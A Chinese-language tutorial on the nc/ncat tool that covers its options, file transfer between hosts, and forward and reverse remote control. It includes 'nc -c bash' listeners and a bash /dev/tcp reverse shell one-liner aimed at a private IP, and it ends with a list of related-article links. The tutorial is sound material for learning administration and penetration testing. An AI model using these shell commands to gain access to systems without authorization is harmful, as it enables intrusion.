nc工具基本使用

简介: nc工具基本使用

nc命令选项:

centos中的nc命令是ncat的软连接,与kali中的nc命令略有差别,下面是ncat的常用选项:

~]# nc -h
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

# 仅使用unix套接字连接、扫描,通常是连接、扫描本机服务时使用
  -U, --unixsock             Use Unix domain sockets only
# 执行提供的命令
  -c, --sh-exec <command>    Executes the given command via /bin/sh
# 执行提供的命令
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
# 最大连接数
  -m, --max-conns <n>        Maximum <n> simultaneous connections
# 延迟时间
  -d, --delay <time>         Wait between read/writes
# 闲置时间,通常用于扫描结束后多久断开连接
  -i, --idle-timeout <time>  Idle read/write timeout
# 监听模式,设置监听端口
  -l, --listen               Bind and listen for incoming connections
# 不进行dns解析
  -n, --nodns                Do not resolve hostnames via DNS
# 使用udp协议
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)

文件传输

# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
nc -lp 8888 > node.tar.gz

# 传输方发文件:
nc -nv 192.168.75.121 8888  < node_exporter-1.3.1.linux-amd64.tar.gz

注意:192.168.75.121是接收方的ip地址。
# 如果希望文件传输结束后自动退出,可以使用下面的命令:
nc -lp 8888 > node.tar.gz
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz

注意:-i 表示闲置超时时间

远程控制

# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
# 被控制端执行下面的命令:
nc -lvnp 8888 -c bash
# 控制端执行下面的命令:
nc 192.168.75.121 8888
# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控制端执行下面的命令:
nc 192.168.75.121 8888 -c bash

反弹shell

# 控制端执行下面的命令:
nc -lvnp 8888

# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1

对了,你们一直想要的Linux命令大全查询网站已经上线了,欢迎使用。

相关文章
|
Go 分布式数据库 计算机视觉
.Net脱壳工具 de4dot参数说明/简易教程
原文:.Net脱壳工具 de4dot参数说明/简易教程 de4dot  /? 帮助原文  使用方法 de4dot "d:\xx.exe" -p xc -p xc 指定壳类型 , 这里是xc,表示Xenocode壳.
4230 0
|
3月前
|
XML 网络协议 网络安全
Nmap的使用方法
Nmap是一款强大的网络扫描工具,使用格式为`nmap [扫描类型] [选项] {目标规格}`。目标规格支持主机名、IP地址及网络范围,如`scanme.nmap.org`或`192.168.0.1`。通过`-iL`从文件读取目标,`-iR`随机选择目标,`--exclude`排除特定主机。主机发现选项包括`-sP` Ping扫描和`-P0`跳过发现。扫描技术涵盖TCP、UDP和ICMP等多种方式。端口扫描可通过`-p`指定端口,`-F`快速扫描常用端口。服务检测使用`-sV`,操作系统检测使用`-O`。时序和性能可通过`-T`调整。
75 4
|
4月前
|
Java Unix Linux
grep命令的使用方法及实用技巧详解
grep命令的使用方法及实用技巧详解
|
6月前
|
Go
Go命令行解析神器入门 - 10分钟上手flag包
Go命令行解析神器入门 - 10分钟上手flag包
186 0
|
安全 网络安全 Python
Python建立SSH连接与使用方法
paramiko是一个Python实现的SSH协议库,可以用来建立SSH连接、传输文件等。你可以在Python环境中使用pipan
Python建立SSH连接与使用方法
|
域名解析 网络协议 Shell
【工具】nc使用详解
本文将详细讲解nc使用以及相关网络知识,适合初学者
695 0
|
网络协议 网络安全
Nmap 基本使用
Nmap 基本使用
180 0
|
网络协议 Linux Python
第五章 Mininet常用命令参数介绍(4)
第五章 Mininet常用命令参数介绍(4)
464 0
第五章 Mininet常用命令参数介绍(4)
第五章 Mininet常用命令参数介绍(2)
第五章 Mininet常用命令参数介绍(2)
120 0
第五章 Mininet常用命令参数介绍(2)
第五章 Mininet常用命令参数介绍(3)
第五章 Mininet常用命令参数介绍(3)
126 0
第五章 Mininet常用命令参数介绍(3)